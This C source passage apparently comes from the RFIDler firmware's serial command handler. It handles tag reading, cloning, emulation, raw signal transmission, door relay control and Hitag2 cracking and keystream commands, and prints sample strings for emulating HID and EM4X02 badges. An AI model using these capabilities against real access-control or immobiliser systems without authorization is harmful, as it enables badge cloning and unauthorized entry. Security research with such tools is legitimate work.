\"TEST-HITAG                                                   Hitag2 crypto - test correctness & timing\\r\\n\",\r\n        \"TEST-RWD [HEX KEY|PATTERN|PWD]                               Find ideal paramaters for RWD commands\\r\\n\",\r\n        \"TEST-SC                                                      Test ISO-7816 Smartcard (get ATR)\\r\\n\",\r\n        \"TEST-SD                                                      Test SD card (directory listing)\\r\\n\",\r\n        \"TEST-TIMER                                                   Timer tests\\r\\n\",\r\n        \"TEST-WIEGAND                                                 Wiegand loopback test\\r\\n\",\r\n        \"TEST-WIEGAND-READ <DEBUG PIN>                                Wiegand reader test (triggers with DEBUG_PIN_X)\\r\\n\",\r\n        \"TRESET [PWD]                                                 Reset TAG's config block to default\\r\\n\",\r\n        \"TRISTATE <ON|OFF>                                            Switch reader circuit tri-state ON/OFF\\r\\n\",\r\n        \"TWIPE [PWD]                                                  Reset TAG contents to default (*** all data will be lost!)\\r\\n\",\r\n        \"UID                                                          Read TAG UID\\r\\n\",\r\n        \"VERSION                                                      Show firmware version\\r\\n\",\r\n        \"VTAG                                                         Show contents of Virtual TAG\\r\\n\",\r\n        \"VWRITE <BLOCK> <HEX DATA>                                    Write VTAG data block(s)\\r\\n\",\r\n        \"WIEGAND-LEARN                                                Learn Wiegand input timings\\r\\n\",\r\n        \"WIEGAND-OUT <OFF|ON>                                         Set Wiegand output OFF or ON\\r\\n\",\r\n        \"WIEGAND-READ                                                 Read Wiegand input\\r\\n\",\r\n        \"WIEGAND-WRITE <BINARY>                                       Send Wiegand output\\r\\n\",\r\n        \"WIPE                                                         Wipe NVM\\r\\n\",\r\n        \"WRITE <BLOCK> <HEX DATA>                                     Write data block (may require login/auth)\\r\\n\",\r\n        \"WIRES                                                        Show wiring diagram (alias: WIRING PINS)\\r\\n\",\r\n        \"WIRING                                                       Show wiring diagram (alias: WIRES PINS)\\r\\n\",\r\n        NULL,\r\n    };\r\n    /**\r\n     * If the command is \"HELP X\", we can remove \"HELP \".\r\n     * This way, someone can type \"HELP WIPE\", whereas \"WIPE\" would\r\n     * actually perform the operation. \r\n     */\r\n    char used_command[100] = { 0 };\r\n    size_t len = strlen(command) < sizeof(used_command) ? strlen(command) : sizeof(used_command);\r\n    if(len > 0)\r\n    {\r\n        if(starts_with(command,\"HELP \")){\r\n            //Remove \"help \"\r\n            strncpy(used_command, command+5,len-5 );\r\n        }else\r\n        {\r\n            //just copy\r\n            strncpy(used_command, command,len);\r\n        }\r\n    }\r\n    size_t i = 0;\r\n    int displayAll = strcmp(used_command, \"HELP\") == 0;\r\n    for(i; commands[i] != NULL ; i++)\r\n    {\r\n        if( displayAll||starts_with( commands[i],used_command ))\r\n        {\r\n            UserMessage(\"    %s\", commands[i]);\r\n        }\r\n    }\r\n    UserMessage(\"%s\",\"Note: '*' prepended to main prompt indicates unsaved config changes\\r\\n\");\r\n\r\n}\r\n\r\nBYTE ProcessSerialCommand(char *command)\r\n{\r\n    BYTE commandok= FALSE;\r\n    BYTE tmpc;\r\n    double tmpfloat;\r\n    unsigned int i, p, tmpint, tmpint1, tmpint2, tmpint3, tmpint4, tmpint5, tmpint6, tmpint7;\r\n    static unsigned long tmplong;\r\n    static char local_tmp[256], local_tmp1[256], local_tmp2[256];\r\n    BYTE *ccprompt= \"\";\r\n    static BYTE *prompt= \"RFIDler\"; // main prompt\r\n    BYTE *prompt_2= \"> \";\r\n\r\n    ToUpper(command);\r\n    \r\n    // switch to menu mode if empty command\r\n    if(strlen(command) == 0)\r\n        Interface= INTERFACE_CLI;\r\n\r\n    // experimental - figure out rates etc for analogue grabbing\r\n    if (strncmp(command, \"ANALOGUE \", 9) == 0)\r\n    {\r\n        if(sscanf(command + 9, \"%d\", &tmpint) == 1)\r\n        {\r\n            if(RFIDlerConfig.TagType == TAG_TYPE_NONE)\r\n                commandok= command_nack(\"Set TAG type first!\");\r\n            else\r\n            {\r\n                commandok= command_ack(DATA);\r\n                analogue_sample(tmpint, TRUE);\r\n                analogue_xml_out(tmpint);\r\n                eod();\r\n            }\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid number of samples!\");\r\n    }\r\n\r\n    if (strncmp(command, \"ANALOGUEN \", 10) == 0)\r\n    {\r\n        if(sscanf(command + 10, \"%d\", &tmpint) == 1)\r\n        {\r\n            if(RFIDlerConfig.TagType == TAG_TYPE_NONE)\r\n                commandok= command_nack(\"Set TAG type first!\");\r\n            else\r\n            {\r\n                commandok= command_ack(DATA);\r\n                analogue_sample(tmpint, FALSE);\r\n                analogue_xml_out(tmpint);\r\n                eod();\r\n            }\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid number of samples!\");\r\n    }\r\n    \r\n    if (strncmp(command, \"APDU \", 5) == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        iso_7816_send_hex_apdu(command + 5);\r\n        iso_7816_output();\r\n        eod();\r\n    }\r\n\r\n    if (strcmp(command, \"API\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        Interface= INTERFACE_API;\r\n    }\r\n\r\n    if (strncmp(command, \"ASK \", 4) == 0)\r\n    {\r\n        if(sscanf(command + 4,\"%s %ld %u %u\", local_tmp, &tmplong, &tmpint, &tmpint1) == 4)\r\n        {\r\n            if(!send_ask_hex(local_tmp, tmplong, tmpint, tmpint1))\r\n                commandok= command_nack(\"Send failed!\");\r\n            else\r\n                commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n    if (strcmp(command, \"ATR\") == 0)\r\n    {\r\n        if(SC_PowerOnATR())\r\n        {\r\n            commandok= command_ack(DATA);\r\n            hexprintbinarray(scCardATR, scATRLength);\r\n            UserMessage(\"%s\", \"\\r\\n\");\r\n            eod();\r\n        }\r\n        else\r\n            commandok= command_nack(\"Failed!\");\r\n    }\r\n\r\n    if (strncmp(command, \"AUTH\", 4) == 0)\r\n    {\r\n        // allow null key / block\r\n        local_tmp[0]= '\\0';\r\n        tmpint= 0;\r\n        if(sscanf(command + 4, \" %s %u\", local_tmp, &tmpint) > 2)\r\n                commandok= command_nack(\"Invalid parameters!\");\r\n        else\r\n        {\r\n            if(tag_auth(tmpint, DataBuff, local_tmp))\r\n            {\r\n                commandok= command_ack(DATA);\r\n                UserMessage(\"%s\\r\\n\", DataBuff);\r\n                eod();\r\n            }\r\n            else\r\n                commandok= command_nack(\"Auth failed!\");\r\n        }\r\n    }\r\n\r\n    if (strcmp(command, \"AUTOPOT\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        autopot();\r\n        eod();\r\n    }\r\n\r\n    if (strcmp(command, \"AUTORATE\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        UserMessage(\"%s\", \"Trying (for best results use non-zero SYNC bits):\\r\\n\");\r\n        tmpint= autorate();\r\n        if (tmpint)\r\n                UserMessageNum(\"Data rate is RF/%d\\r\\n\", tmpint);\r\n        eod();\r\n    }\r\n\r\n    if (strcmp(command, \"AUTORUN\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        UserMessage(\"%s\\r\\n\", RFIDlerConfig.AutoRun);\r\n        eod();\r\n    }\r\n\r\n    if (strcmp(command, \"AUTORUN OFF\") == 0)\r\n    {\r\n        memset(RFIDlerConfig.AutoRun, 0x00, sizeof(RFIDlerConfig.AutoRun));\r\n        commandok= command_ack(NO_DATA);\r\n    }\r\n    else if(strncmp(command, \"AUTORUN \", 8) == 0 && strlen(command + 8) < sizeof(RFIDlerConfig.AutoRun) - 1)\r\n    {\r\n        strcpy(RFIDlerConfig.AutoRun, command + 8);\r\n        commandok= command_ack(NO_DATA);\r\n    }\r\n\r\n\r\n    if (strcmp(command, \"AUTOTAG\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        auto_detect_tag_type();\r\n        eod();\r\n    }\r\n\r\n    if (strncmp(command, \"BINTOHEX \", 9) == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        printbinstringashex(command + 9);\r\n        eod();\r\n    }\r\n\r\n    if (strcmp(command, \"BL\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        UserMessage(\"%s\", \"Switching to BOOTLOADER mode...\\r\\n\\r\\n\");\r\n        eod();\r\n        Delay_us(100000);\r\n        parse_BL_packet();\r\n    }\r\n\r\n    if (strcmp(command, \"CLI\") == 0)\r\n    {\r\n        Interface= INTERFACE_CLI;\r\n        commandok= command_ack(NO_DATA);\r\n    }\r\n\r\n    if (strncmp(command, \"CLOCKH \", 7) == 0)\r\n    {\r\n        if(sscanf(&command[7], \"%lf\", &tmpfloat) == 1 && tmpfloat > 0)\r\n        {\r\n            // convert to uS/100\r\n            tmplong= (unsigned long) ((1L/tmpfloat) * 100000000L);\r\n            InitHWReaderClock(OC_TOGGLE_PULSE, tmplong / 2L, tmplong, RWD_STATE_ACTIVE);\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Failed!\");\r\n    }\r\n\r\n    if (strncmp(command, \"CLOCKP \", 7) == 0)\r\n    {\r\n        if(sscanf(&command[7], \"%u %u\", &tmpint, &tmpint1) == 2 && tmpint > 0 && tmpint1 > tmpint)\r\n        {\r\n            InitHWReaderClock(OC_PWM_FAULT_PIN_DISABLE, (unsigned long) tmpint * 2L, (unsigned long) tmpint1 * 2L, RWD_STATE_ACTIVE);\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Failed!\");\r\n    }\r\n\r\n    if (strncmp(command, \"CLOCKT \", 7) == 0)\r\n    {\r\n        if(sscanf(&command[7], \"%ld\", &tmplong) == 1 && tmplong > 0)\r\n        {\r\n            InitHWReaderClock(OC_TOGGLE_PULSE, tmplong / 2L, tmplong, RWD_STATE_ACTIVE);\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Failed!\");\r\n    }\r\n\r\n    if (strncmp(command, \"CLONE\", 5) == 0)\r\n    {\r\n        // allow null key/pwd\r\n        local_tmp[0]= '\\0';\r\n        if(sscanf(command + 5, \"%s\", local_tmp) <= 1)\r\n        {\r\n            if (!vtag_write_to_tag(local_tmp))\r\n                commandok= command_nack(\"Failed!\");\r\n            else\r\n                commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n           commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n    if (strcmp(command, \"COIL HIGH\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        COIL_OUT_HIGH();\r\n    }\r\n\r\n    if (strcmp(command, \"COIL LOW\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        COIL_OUT_LOW();\r\n    }\r\n\r\n    if (strcmp(command, \"CONFIG\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        showconfig();\r\n        eod();\r\n    }\r\n\r\n    if (strncmp(command, \"CONVERT \", 8) == 0)\r\n    {\r\n        if(RFIDlerVTag.TagType)\r\n        {\r\n            if(sscanf(command + 7, \"%s\", local_tmp) == 1)\r\n            {\r\n                if(vtag_convert(local_tmp))\r\n                    commandok= command_ack(NO_DATA);\r\n                else\r\n                    commandok= command_nack(\"Failed!\");\r\n            }\r\n        }\r\n        else\r\n           commandok= command_nack(\"VTag type not set!\");\r\n    }\r\n\r\n    if (strncmp(command, \"COPY\", 4) == 0)\r\n    {\r\n        // allow empty tag type / pwd/key\r\n        local_tmp[0]= '\\0';\r\n        local_tmp1[0]= '\\0';\r\n        tmpint= 0;\r\n        if(sscanf(command + 4, \"%s %s\", local_tmp, local_tmp1) <= 2)\r\n        {\r\n            if(vtag_copy_from_tag(local_tmp, local_tmp1))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"Failed!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n    if(strcmp(command, \"DEBUG\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        debug_show();\r\n        eod();\r\n    }\r\n\r\n    if (strncmp(command, \"DEBUG \", 6) == 0)\r\n    {\r\n        if(sscanf(command + 6, \"%i\", &tmpint) == 1)\r\n        {\r\n            if (debug_toggle((BYTE) tmpint))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"Invalid DEBUG pin!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n    if (strncmp(command, \"DEBUGON \", 8) == 0)\r\n    {\r\n        if(sscanf(command + 8, \"%i\", &tmpint) == 1)\r\n        {\r\n            if (debug_on((BYTE) tmpint))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"Invalid DEBUG pin!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n    if (strncmp(command, \"DEBUGOFF \", 9) == 0)\r\n    {\r\n        if(sscanf(command + 9, \"%i\", &tmpint) == 1)\r\n        {\r\n            if (debug_off((BYTE) tmpint))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"Ivalid LED!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n    if (strcmp(command, \"DETECT\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        UserMessage(\"%s\", \"Waiting for external clock (hit any key to abort)...\\r\\n\");\r\n        detect_external_clock(NO_WAIT, 0);\r\n        eod();\r\n    }\r\n\r\n    if (strcmp(command, \"DOOR CLOSE\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        DOOR_RELAY_CLOSE();\r\n    }\r\n\r\n    if (strcmp(command, \"DOOR OPEN\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        DOOR_RELAY_OPEN();\r\n    }\r\n\r\n    if (strncmp(command, \"DUMP \", 5) == 0)\r\n    {\r\n        if((tmpint2= sscanf(command + 5,\"%u %u\", &tmpint, &tmpint1)) && tmpint2 == 1 || tmpint2 == 2)\r\n        {\r\n            // only start block specified, so default to read 1 block\r\n            if(tmpint2 == 1)\r\n               tmpint1=  tmpint;\r\n\r\n            if(tmpint > RFIDlerConfig.DataBlocks - 1 || tmpint1 > RFIDlerConfig.DataBlocks - 1)\r\n                commandok= command_nack(\"Invalid block number(s)!\");\r\n            else\r\n                // read and view data\r\n                if(!read_tag(DataBuff, tmpint, tmpint1))\r\n                    commandok= command_nack(\"Read failed!\");\r\n                else\r\n                {\r\n                    commandok= command_ack(DATA);\r\n                    local_tmp[HEXDIGITS(RFIDlerConfig.BlockSize)]= '\\0';\r\n                    for(i= tmpint, p= 0 ; i <= tmpint1 ; ++i, ++p)\r\n                    {\r\n                        UserMessageNum(\"%d: \", i);\r\n                        memcpy(local_tmp, DataBuff + p * HEXDIGITS(RFIDlerConfig.BlockSize), HEXDIGITS(RFIDlerConfig.BlockSize));\r\n                        UserMessage(\"%s\\r\\n\", local_tmp);\r\n                    }\r\n                    eod();\r\n                }\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid block number(s)!\\r\\n\");\r\n    }\r\n\r\n    if (strncmp(command, \"EMU \", 4) == 0)\r\n    {\r\n        if(RFIDlerConfig.TagType)\r\n        {\r\n            if(emulate_tag(command + 4))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"Failed!\");\r\n        }\r\n        else\r\n           commandok= command_nack(\"Tag type not set!\");\r\n    }\r\n\r\n    if(strcmp(command, \"EMULATOR\") == 0 || strcmp(command, \"EMULATOR BG\") == 0)\r\n    {\r\n       if(!RFIDlerVTag.TagType)\r\n           commandok= command_nack(\"Create valid VTAG first!\");\r\n       else\r\n       {\r\n           // store current tag type\r\n           tmpc= RFIDlerConfig.TagType;\r\n           // emulation or native mode\r\n           if(RFIDlerVTag.EmulatedTagType != TAG_TYPE_NONE)\r\n               tag_set(RFIDlerVTag.EmulatedTagType);\r\n           else\r\n               tag_set(RFIDlerVTag.TagType);\r\n           if(!interpret_uid(DataBuff, RFIDlerVTag.UID, RFIDlerConfig.TagType))\r\n               commandok= command_nack(\"Invalid UID!\");\r\n           else\r\n           {\r\n               commandok= command_ack(NO_DATA);\r\n               if(strcmp(command, \"EMULATOR BG\") == 0)\r\n               {\r\n                   EMU_Background= TRUE;\r\n                   emulate_tag(DataBuff);\r\n               }\r\n               else\r\n               {\r\n                   while(!get_user_abort() && emulate_tag(DataBuff))\r\n                   {\r\n                       // some readers will not respond until TAG stops talking\r\n                       Delay_us(250000);\r\n                       mLED_Comms_Toggle();\r\n                   }\r\n                   // restore tag settings\r\n                   tag_set(tmpc);\r\n               }\r\n           }\r\n       }\r\n    }\r\n\r\n    if (strncmp(command, \"ENCODE \", 7) == 0)\r\n    {\r\n        if(RFIDlerConfig.TagType)\r\n        {\r\n            // allow empty tag type but not uid\r\n            local_tmp[0]= '\\0';\r\n            local_tmp1[0]= '\\0';\r\n            if(sscanf(command + 7, \"%s %s\", local_tmp, local_tmp1) <= 2 && strlen(local_tmp) != 0)\r\n            {\r\n                // output hex only\r\n                if(strlen(local_tmp1) == 0)\r\n                {\r\n                    if(tag_uid_to_hex(TmpBuff, local_tmp, RFIDlerConfig.TagType))\r\n                    {\r\n                        commandok= command_ack(DATA);\r\n                        UserMessage(\"%s\\r\\n\", TmpBuff);\r\n                        eod();\r\n                    }\r\n                    else\r\n                        commandok= command_nack(\"Encode failed!\");\r\n                }\r\n                // encode to VTAG\r\n                else\r\n                {\r\n                    if(vtag_create_from_uid(local_tmp1, RFIDlerConfig.TagType, local_tmp))\r\n                        commandok= command_ack(NO_DATA);\r\n                    else\r\n                        commandok= command_nack(\"VTAG encode failed!\");\r\n                }\r\n            }\r\n        }\r\n        else\r\n           commandok= command_nack(\"Tag type not set!\");\r\n    }\r\n\r\n    if (strcmp(command, \"EXAMPLES\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        UserMessage(\"%s\", \"RAW Emulation examples:\\r\\n\");\r\n        UserMessage(\"%s\", \"\\r\\n  EM4X02 ID '0000DC4420'\\r\\n\\r\\n\");\r\n        UserMessage(\"%s\", \"    SET MAN ON\\r\\n\");\r\n        UserMessage(\"%s\", \"    ASK FF800006F0949406 800 64 20\\r\\n\");\r\n        UserMessage(\"%s\", \"\\r\\n  Unique ID '0DEADBEEF0'\\r\\n\\r\\n\");\r\n        UserMessage(\"%s\", \"    SET MAN ON\\r\\n\");\r\n        UserMessage(\"%s\", \"    ASK FFDC0A7EEEF783C0 800 64 20\\r\\n\");\r\n        UserMessage(\"%s\", \"\\r\\n  HID Prox26 Site Code 123 ID 45678\\r\\n\\r\\n\");\r\n        UserMessage(\"%s\", \"    SET MAN OFF\\r\\n\");\r\n        UserMessage(\"%s\", \"    FSK 1D5559555569AA6A6965A6A6 800 50 8 10 20\\r\\n\");\r\n        UserMessage(\"%s\", \"\\r\\n  Indala (encrypted):\\r\\n\\r\\n\");\r\n        UserMessage(\"%s\", \"    SET MAN OFF\\r\\n\");\r\n        UserMessage(\"%s\", \"    PSK1 000000025AA9A2B074F113A4645E20B7A792B831DD3C58D27A727B2B 800 32 2 20\\r\\n\");\r\n        UserMessage(\"%s\", \"\\r\\n\\r\\n TAG Emulation examples\\r\\n\");\r\n        UserMessage(\"%s\", \"\\r\\n  EM4X02 ID 'ABCDE12345'\\r\\n\\r\\n\");\r\n        UserMessage(\"%s\", \"    SET TAG EM4X02\\r\\n\");\r\n        UserMessage(\"%s\", \"    EMU ABCDE12345\\r\\n\");\r\n        UserMessage(\"%s\", \"\\r\\n  Unique ID '00CAFEF00D'\\r\\n\\r\\n\");\r\n        UserMessage(\"%s\", \"    SET TAG UNIQUE\\r\\n\");\r\n        UserMessage(\"%s\", \"    EMU 00CAFEF00D\\r\\n\");\r\n        UserMessage(\"%s\", \"\\r\\n  HID Prox26 Site Code 254 ID 00666\\r\\n\\r\\n\");\r\n        UserMessage(\"%s\", \"    SET TAG HID26\\r\\n\");\r\n        UserMessage(\"%s\", \"    EMU 25400666\\r\\n\");\r\n        UserMessage(\"%s\", \"\\r\\n\\r\\n RWD command examples\\r\\n\");\r\n        UserMessage(\"%s\", \" ====================\\r\\n\");\r\n        UserMessage(\"%s\", \"\\r\\n  Hitag2 START_AUTH\\r\\n\\r\\n\");\r\n        UserMessage(\"%s\", \"    PWM 800 4000 4000 18 26 5\\r\\n\");\r\n        UserMessage(\"%s\", \"    RWD 11000\\r\\n\");\r\n        eod();\r\n    }\r\n\r\n    if (strncmp(command, \"FSK \", 4) == 0)\r\n    {\r\n        if(sscanf(command + 4,\"%s %ld %u %u %u %u\", local_tmp, &tmplong, &tmpint, &tmpint1, &tmpint2, &tmpint3) == 6)\r\n        {\r\n            UserMessage(\"Sending %s \", local_tmp);\r\n            if(send_fsk_hex(local_tmp, tmplong, tmpint, tmpint1, tmpint2, tmpint3))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"Send failed!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n    if (strcmp(command, \"FREQUENCY\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        UserMessageNum(\"%d\\r\\n\", analogue_frequency());\r\n        eod();\r\n    }\r\n\r\n    if (strncmp(command, \"HEXTOBIN \", 9) == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        printhexasbin(command + 9);\r\n        eod();\r\n    }\r\n    \r\n        \r\n    if (strncmp(command, \"HITAG2-CRACK \", 13) == 0)\r\n    {\r\n        if (RFIDlerConfig.TagType != TAG_TYPE_HITAG2)\r\n            commandok = command_nack(\"TAG type must be HITAG2!\");\r\n        else\r\n        {\r\n            if (hitag2_crack(DataBuff, command + 13))\r\n            {\r\n                commandok= command_ack(DATA);\r\n                UserMessage(\"%s\\r\\n\", DataBuff);\r\n                eod();\r\n            }\r\n            else\r\n                commandok= command_nack(\"read error!\");\r\n        }\r\n            \r\n    }\r\n\r\n    \r\n    if (strncmp(command, \"HITAG2-KEYSTREAM \", 17) == 0)\r\n    {\r\n        if (RFIDlerConfig.TagType != TAG_TYPE_HITAG2)\r\n            commandok = command_nack(\"TAG type must be HITAG2!\");\r\n        else\r\n        {\r\n            if (hitag2_keystream(DataBuff, command + 17))\r\n            {\r\n                commandok= command_ack(DATA);\r\n                UserMessage(\"%s\\r\\n\", DataBuff);\r\n                eod();\r\n            }\r\n            else\r\n                commandok= command_nack(\"read error!\");\r\n        }\r\n            \r\n    }\r\n    \r\n    if (strncmp(command, \"HITAG2-READER\", 13) == 0)\r\n    {\r\n        if (RFIDlerConfig.TagType != TAG_TYPE_HITAG2)\r\n            commandok = command_nack(\"TAG type must be HITAG2!\");\r\n        else\r\n        {\r\n            // scan for HEX key and use default if not present\r\n            local_tmp[0]= '\\0';\r\n            local_tmp1[0]= '\\0';\r\n            tmpint= 1; // interactive TRUE\r\n            if(sscanf(command + 14, \"%s %s\", local_tmp, local_tmp1) < 2)\r\n            {\r\n                if(!strcmp(\"S\", local_tmp))\r\n                {\r\n                    strcpy(local_tmp, HITAG2_KEY_DEFAULT);\r\n                    tmpint= 0;\r\n                }\r\n            }\r\n            if(!strcmp(\"S\", local_tmp1))\r\n                tmpint= 0;\r\n            \r\n            commandok= command_ack(DATA);\r\n            while(!get_user_abort())\r\n            {\r\n                hitag2_reader(DataBuff, local_tmp, (BOOL) tmpint);\r\n                mLED_Comms_Toggle();\r\n            }\r\n            \r\n            eod();\r\n            stop_HW_clock();\r\n        }\r\n    }\r\n    \r\n    if (strncmp(command, \"HITAG2-CLEARSTOREDTAGS\", 22) == 0)\r\n    {\r\n        commandok = command_ack(NO_DATA);\r\n        hitag2_nvm_clear();\r\n    }\r\n    \r\n    if (strncmp(command, \"HITAG2-COUNTSTOREDTAGS\", 22) == 0)\r\n    {\r\n        commandok = command_ack(DATA);\r\n        hitag2_nvm_count_tags();\r\n        eod();\r\n    }\r\n    \r\n    if (strncmp(command, \"HITAG2-LISTSTOREDTAGS\", 21) == 0)\r\n    {\r\n        commandok = command_ack(DATA);\r\n        \r\n        if (strlen(command) > 21)\r\n        {\r\n            tmpint2= sscanf(command + 21,\"%u %u\", &tmpint, &tmpint1);\r\n\r\n            if (tmpint2 <= 0)\r\n            {\r\n                // no tag numbers specified, default to display all tags\r\n                tmpint = 0;\r\n                tmpint1 = 0;\r\n            }\r\n            else if (tmpint2 == 1)\r\n            {\r\n                // only start tag specified, default to display 1 tag\r\n                tmpint1 = tmpint;\r\n            }\r\n            \r\n        } else\r\n        {\r\n            tmpint = 0;\r\n            tmpint1 = 0;\r\n        }\r\n        \r\n        hitag2_nvm_display_tags(tmpint, tmpint1);\r\n            \r\n        eod();\r\n    }\r\n    \r\n    if (strncmp(command, \"HITAG2-RNGINIT \", 15) == 0)\r\n    {\r\n        if (hitag2crack_rng_init(DataBuff, command + 15))\r\n        {\r\n            commandok = command_ack(DATA);\r\n            UserMessage(\"%s\\r\\n\", DataBuff);\r\n            eod();\r\n        }\r\n        else\r\n            commandok= command_nack(\"read error!\");\r\n\r\n    }\r\n    \r\n    if (strncmp(command, \"HITAG2-DECRYPTHEX \", 18) == 0)\r\n    {\r\n        if (hitag2crack_decrypt_hex(DataBuff, command + 18))\r\n        {\r\n            commandok = command_ack(DATA);\r\n            UserMessage(\"%s\\r\\n\", DataBuff);\r\n            eod();\r\n        }\r\n        else\r\n            commandok= command_nack(\"read error!\");\r\n\r\n    }\r\n    \r\n    if (strncmp(command, \"HITAG2-DECRYPTBIN \", 18) == 0)\r\n    {\r\n        if (hitag2crack_decrypt_bin(DataBuff, command + 18))\r\n        {\r\n            commandok = command_ack(DATA);\r\n            UserMessage(\"%s\\r\\n\", DataBuff);\r\n            eod();\r\n        }\r\n        else\r\n            commandok= command_nack(\"read error!\");\r\n\r\n    }\r\n\r\n    if (strncmp(command, \"LED \", 4) == 0)\r\n    {\r\n        if(sscanf(command + 4, \"%i\", &tmpint) == 1)\r\n        {\r\n            if (led_toggle((BYTE) tmpint))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"Invalid LED!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n    if (strncmp(command, \"LEDON \", 6) == 0)\r\n    {\r\n        if(sscanf(command + 6, \"%i\", &tmpint) == 1)\r\n        {\r\n            if (led_on((BYTE) tmpint))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"Invalid LED!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n    if (strncmp(command, \"LEDOFF \", 7) == 0)\r\n    {\r\n        if(sscanf(command + 7, \"%i\", &tmpint) == 1)\r\n        {\r\n            if (led_off((BYTE) tmpint))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"Ivalid LED!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n\r\n    if (strcmp(command, \"LOAD\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        loadconfig();\r\n    }\r\n\r\n    if (strncmp(command, \"LOGIN\", 5) == 0)\r\n    {\r\n        // allow empty password / block\r\n        local_tmp[0]= '\\0';\r\n        tmpint= 0;\r\n        if(sscanf(command + 5, \" %s %u\", local_tmp, &tmpint) > 2)\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n        else\r\n        {\r\n            if(tag_login(tmpint, DataBuff, local_tmp))\r\n            {\r\n                commandok= command_ack(DATA);\r\n                UserMessage(\"%s\\r\\n\", DataBuff);\r\n                eod();\r\n            }\r\n            else\r\n                commandok= command_nack(\"Login failed!\");\r\n        }\r\n    }\r\n\r\n    if (strcmp(command, \"PING\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        UserMessage(\"%s\\r\\n\", \"RFIDler\");\r\n        eod();\r\n    }\r\n\r\n    if (strcmp(command, \"POTS\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        show_mcp414_wipers();\r\n        eod();\r\n    }\r\n\r\n    if (strncmp(command, \"POTDEC \", 7) == 0)\r\n    {\r\n        if(sscanf(command + 7,\"%c %d\", &tmpc, &tmpint1) == 2 && tmpc == 'H' || tmpc == 'L')\r\n        {\r\n            while(tmpint1--)\r\n                if((tmpc= decrement_mcp414(tmpc == 'H' ? 0 : 1, local_tmp)))\r\n                    break;\r\n            if(tmpc)\r\n                commandok= command_nack(\"POT decrement failed!\");\r\n            else\r\n                commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n           commandok= command_nack(\"Invalid parameters\");\r\n    }\r\n\r\n    if (strncmp(command, \"POTINC \", 7) == 0)\r\n    {\r\n        if(sscanf(command + 7,\"%c %d\", &tmpc, &tmpint1) == 2 && tmpc == 'H' || tmpc == 'L')\r\n        {\r\n            while(tmpint1--)\r\n                if((tmpc= increment_mcp414(tmpc == 'H' ? 0 : 1, FALSE, local_tmp)))\r\n                    break;\r\n            if(tmpc)\r\n                commandok= command_nack(\"POT increment failed!\");\r\n            else\r\n                commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n           commandok= command_nack(\"invalid parameters\");\r\n    }\r\n\r\n    if (strncmp(command, \"POTSET \", 7) == 0)\r\n    {\r\n        if(sscanf(command + 7,\"%c %d\", &tmpc, &tmpint1) == 2 && tmpc == 'H' || tmpc == 'L')\r\n        {\r\n            if(!set_mcp414_wiper(tmpc == 'H' ? WIPER_HIGH : WIPER_LOW, VOLATILE, tmpint1, local_tmp))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"POT set failed!\");\r\n        }\r\n        